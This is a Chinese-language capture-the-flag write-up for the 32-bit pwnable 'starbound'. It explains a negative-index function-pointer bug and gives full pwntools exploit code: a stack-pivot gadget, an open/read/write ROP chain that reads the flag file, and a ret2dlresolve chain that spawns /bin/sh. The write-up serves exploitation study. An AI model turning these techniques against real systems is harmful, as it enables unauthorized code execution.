1 程序分析 32 位,没开 PIE
1 2 3 4 5 6 7 8 9 (pwn)secreu@Vanilla:~/code/pwnable/starbound$ checksec --file=starbound [*] '/home/secreu/code/pwnable/starbound/starbound' Arch: i386-32-little RELRO: Partial RELRO Stack: No canary found NX: NX enabled PIE: No PIE (0x8048000) FORTIFY: Enabled Stripped: No
一个小游戏,看起来很复杂
init 函数最后的 cmd_go_back 将 show_main_menu 函数的地址存放在了 .bss:0805817C 上,所以该地址其实是一个 hook,将其命名为 show_options_hook,在 main 函数中会循环调用之,用来展示不同的菜单选项
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 39 40 void init () { int v0; char *v1; int v2; unsigned int seed[4 ]; setvbuf(stdin , 0 , 2 , 0 ); setvbuf(stdout , 0 , 2 , 0 ); setvbuf(stderr , 0 , 2 , 0 ); signal(14 , do_afk); puts ("[Info] Landing ..." ); usleep(0x7A120u ); v0 = open("/dev/urandom" , 0 ); read(v0, seed, 4u ); close(v0); srand(seed[0 ]); me = seed[0 ]; init_map(); dword_8057F88 = rand() % dword_8057F84; dword_8057F8C = 0 ; dword_8057F90 = 100 ; dword_8057F94 = 0 ; v1 = getenv("REMOTE_HOST" ); if ( !v1 ) v1 = "127.0.0.1" ; cp = (char *)malloc (strlen (v1) + 1 ); fd = -1 ; dword_80580CC = 0 ; strcpy (cp, v1); v2 = rand(); __strcpy_chk(player_name, name_list[v2 % 2826 ], 128 ); cmd_view(); cmd_go_back(); } void cmd_go_back () { show_options_hook = show_main_menu; }
main 函数循环处理请求,先从 show_options_hook 取出函数执行,最开始是 show_main_menu,展示完菜单选项后,会对 .bss:08058154 开始的连续地址存放不同选项对应的函数,所以这里也是一个 hook,命名为 cmd_options_hook,回到 main 中就会根据输入的 index 选择选项函数执行
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 39 40 41 42 43 44 45 46 int __cdecl main (int argc, const char **argv, const char **envp) { int v3; char nptr[256 ]; init(); while ( 1 ) { alarm(0x3Cu ); show_options_hook(); if ( !readn(nptr, 0x100u ) ) break ; v3 = strtol(nptr, 0 , 10 ); if ( !v3 ) break ; ((void (*)(void ))cmd_options_hook[v3])(); } do_bye(); return 0 ; } int show_main_menu () { int result; puts ("\n-+STARBOUND v1.0+-" ); puts (" 0. Exit" ); puts (" 1. Info" ); puts (" 2. Move" ); puts (" 3. View" ); puts (" 4. Tools" ); puts (" 5. Kill" ); puts (" 6. Settings" ); puts (" 7. Multiplayer" ); __printf_chk(1 , "> " ); for ( result = 0 ; result <= 9 ; ++result ) cmd_options_hook[result] = (int )cmd_nop; dword_8058158 = (int )cmd_info; dword_805815C = (int )cmd_move; dword_8058160 = (int )cmd_view; dword_8058164 = (int )cmd_build; dword_8058168 = (int )cmd_kill; dword_805816C = (int )cmd_settings; dword_8058170 = (int )cmd_multiplayer; return result; }
漏洞点很明显,在 main 函数读取 index 时没有检查其是否大于 0,所以我们可以输入一个负数让其执行 .bss:08058154 往上的地址上存放的函数地址,恰好上面 .bss:080580D0 处是 palyer name 的存放位置,它们之间的差距是 (int)(0x8058154 - 0x80580D0) = -33
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 .bss:080580D0 ; char player_name[128] .bss:080580D0 player_name db 80h dup(?) ; DATA XREF: do_afk+3↑o .bss:080580D0 ; init+1A8↑o ... .bss:08058150 dword_8058150 dd ? ; DATA XREF: cmd_view+4F↑r .bss:08058150 ; init_map+A8↑w ... .bss:08058154 ; int cmd_options_hook[] .bss:08058154 cmd_options_hook dd ? ; DATA XREF: show_main_menu:loc_8048DEF↑w .bss:08058154 ; show_multiplayer_menu:loc_8048EBE↑w ... .bss:08058158 dword_8058158 dd ? ; DATA XREF: show_main_menu+9D↑w .bss:08058158 ; show_multiplayer_menu+85↑w ... .bss:0805815C dword_805815C dd ? ; DATA XREF: show_main_menu+A7↑w .bss:0805815C ; show_multiplayer_menu+8F↑w ... .bss:08058160 dword_8058160 dd ? ; DATA XREF: show_main_menu+B1↑w .bss:08058160 ; show_multiplayer_menu+99↑w ... .bss:08058164 dword_8058164 dd ? ; DATA XREF: show_main_menu+BB↑w .bss:08058164 ; show_multiplayer_menu+A3↑w ... .bss:08058168 dword_8058168 dd ? ; DATA XREF: show_main_menu+C5↑w .bss:08058168 ; show_multiplayer_menu+AD↑w .bss:0805816C dword_805816C dd ? ; DATA XREF: show_main_menu+CF↑w .bss:08058170 dword_8058170 dd ? ; DATA XREF: show_main_menu+D9↑w
我们可以通过 6. Settings -> 2. Name 来写 palyer name
1 2 3 4 5 6 7 8 9 int cmd_set_name () { int result; __printf_chk(1 , "Enter your name: " ); result = readn(player_name, 0x64u ); *(_BYTE *)(result + 134578383 ) = 0 ; return result; }
这样就拿到一个任意地址执行
2 漏洞利用 我们要利用 set player name 和执行负数 index 的选项实现任意地址执行
1 2 3 4 5 6 7 8 def set_name (name ): io.sendlineafter(b"> " , b"6" ) io.sendlineafter(b"> " , b"2" ) io.sendlineafter(b"Enter your name: " , name) io.sendlineafter(b"> " , b"1" ) def call_option (index ): io.sendlineafter(b"> " , index)
但是我们仅仅这样不能控制参数,因为 main 函数调用 cmd_options_hook[index] 时没有传参
这里找到一个 gadget,可以跳到栈上执行 ROP
1 0x08048e48 : add esp, 0x1c ; ret
具体来说,我们往 player name 写入 0x08048e48,在读取 index 的时候输入 -33,main 函数就会 call [player name],也就是跳到 0x08048e48 执行 add esp, 0x1c ; ret
执行 add esp, 0x1c 后,esp 恰好落入 main 函数读取 index 的缓冲区 nptr 中,即 nptr + 0x8
这样我们只要在发送 index 时顺带发送 ROP 链即可
1 2 3 4 5 6 7 8 9 10 11 12 add_esp_ret = 0x08048e48 name = p32(add_esp_ret) cmd_options_hook_addr = 0x8058154 name_addr = 0x80580D0 index = (name_addr - cmd_options_hook_addr) // 4 rop_chain = b'' paylaod = str (index).encode().ljust(0x8 , b"\x00" ) + rop_chain set_name(name) call_option(payload)
2.1 ORW 利用任意地址执行,布置 ROP 链执行 ORW
32 位通过栈传参,而返回地址紧跟在要要执行的 gadget 后面,执行完 open 后无法为紧跟的 read 准备参数,所以我们无法连续执行 open、read、write
这里采用 open -> main -> read -> main -> write 的方式完成 ORW
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 def exploit_orw (): add_esp_ret = 0x08048e48 file_path = b"./flag\x00" name = p32(add_esp_ret) + file_path cmd_options_hook_addr = 0x8058154 name_addr = 0x80580D0 index = (name_addr - cmd_options_hook_addr) // 4 main = 0x804A605 open = elf.plt["open" ] read = elf.plt["read" ] write = elf.plt["write" ] file_path_addr = name_addr + 4 orw_open = p32(open ) + p32(main) + p32(file_path_addr) + p32(0 ) payload = str (index).encode().ljust(0x8 , b"\x00" ) + orw_open set_name(name) call_option(payload) orw_read = p32(read) + p32(main) + p32(3 ) + p32(file_path_addr + 0x20 ) + p32(0x100 ) payload = str (index).encode().ljust(0x8 , b"\x00" ) + orw_read set_name(name) call_option(payload) orw_write = p32(write) + p32(main) + p32(1 ) + p32(file_path_addr + 0x20 ) + p32(0x100 ) payload = str (index).encode().ljust(0x8 , b"\x00" ) + orw_write set_name(name) call_option(payload) io.interactive()
2.2 Ret2dlresolve 没有 system 函数可以通过 ret2dl 解析出 system 地址再调用即可
ret2dl 简单来说就是模拟第一次 call got 表上的函数,dl 解析函数地址的过程,我们主动准备好需要的结构体,然后去调用 plt[0] 即可
我们利用设置 player name 往 bss 段上布置伪造的结构体。这里要注意 32 位的相关结构体和 64 位有区别,我们直接照抄 IDA 上的就可以,同时还要注意计算好偏移和索引
ELF Symbol Table
1 2 3 4 5 6 7 8 9 10 11 LOAD:080481DC ; ELF Symbol Table LOAD:080481DC Elf32_Sym <0> LOAD:080481EC Elf32_Sym <offset aMd5Init - offset byte_80484FC, 0, 0, 12h, 0, 0> ; "MD5_Init" LOAD:080481FC dd offset aSrand - offset byte_80484FC; st_name ; "srand" LOAD:08048200 dd 0 ; st_value LOAD:08048204 dd 0 ; st_size LOAD:08048208 db 12h ; st_info LOAD:08048209 db 0 ; st_other LOAD:0804820A dw 0 ; st_shndx LOAD:0804820C Elf32_Sym <offset aOpen - offset byte_80484FC, 0, 0, 12h, 0, 0> ; "open" LOAD:0804821C Elf32_Sym <offset aConnect - offset byte_80484FC, 0, 0, 12h, 0, 0> ; "connect"
ELF JMPREL Relocation Table
1 2 3 4 5 6 7 LOAD:080487C8 ; ELF JMPREL Relocation Table LOAD:080487C8 Elf32_Rel <805500Ch, 107h> ; R_386_JMP_SLOT MD5_Init LOAD:080487D0 dd 8055010h ; r_offset ; R_386_JMP_SLOT srand LOAD:080487D4 dd 207h ; r_info LOAD:080487D8 dd 8055014h ; r_offset ; R_386_JMP_SLOT open LOAD:080487DC dd 307h ; r_info LOAD:080487E0 Elf32_Rel <8055018h, 407h> ; R_386_JMP_SLOT connect
最后还是跳到栈上执行 ROP 这一段代码的含义就是执行 plt[0],后面的 p32(fake_relplt_offset) 是模拟 dl 解析前 plt[n] 压进栈的参数,p32(0) 是 system 的返回地址,p32(binsh) 是参数
1 payload = str (index).encode().ljust(0x8 , b"\x00" ) + p32(plt) + p32(fake_relplt_offset) + p32(0 ) + p32(binsh)
完整 exp 如下,这个我只在本地跑成功了,远端没有打通,不知道为什么也懒得再去折腾了。
对了这里 fake_dynsym_index 会影响 __dl_fixup 解析 ELF GNU Symbol Version Table,他要求命中的地方的内容,经过一定的变换是一个可访问的地址,如果这里出错就给 fake_dynsym 挪一挪位置吧
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 39 40 41 42 43 def exploit_ret2dl (): add_esp_ret = 0x08048e48 plt = elf.get_section_by_name(".plt" ).header.sh_addr cmd_options_hook_addr = 0x8058154 name_addr = 0x80580D0 index = (name_addr - cmd_options_hook_addr) // 4 dynstr_addr = elf.get_section_by_name(".dynstr" ).header.sh_addr fake_dynstr_addr = name_addr + 0x4 fake_dynstr_offset = fake_dynstr_addr - dynstr_addr fake_dynstr = b"system" .ljust(0x8 , b"\x00" ) fake_got_system_addr = name_addr + 0xc fake_got_system = p32(0 ) dynsym_addr = elf.get_section_by_name(".dynsym" ).header.sh_addr fake_dynsym_addr = name_addr + 0x1c fake_dynsym_index = (fake_dynsym_addr - dynsym_addr) // 0x10 fake_dynsym = p32(fake_dynstr_offset) + p32(0 ) + p32(0 ) + p8(0x12 ) + p8(0 ) + p16(0 ) relplt_addr = elf.get_section_by_name(".rel.plt" ).header.sh_addr fake_relplt_addr = name_addr + 0x10 fake_relplt_offset = fake_relplt_addr - relplt_addr fake_relplt = p32(fake_got_system_addr) + p32(fake_dynsym_index << 8 | 0x7 ) name = p32(add_esp_ret) name += fake_dynstr name += fake_got_system name += fake_relplt name += p32(0 ) name += fake_dynsym name += b"/bin/sh\x00" binsh = name_addr + 0x2c payload = str (index).encode().ljust(0x8 , b"\x00" ) + p32(plt) + p32(fake_relplt_offset) + p32(0 ) + p32(binsh) set_name(name) call_option(payload) io.interactive()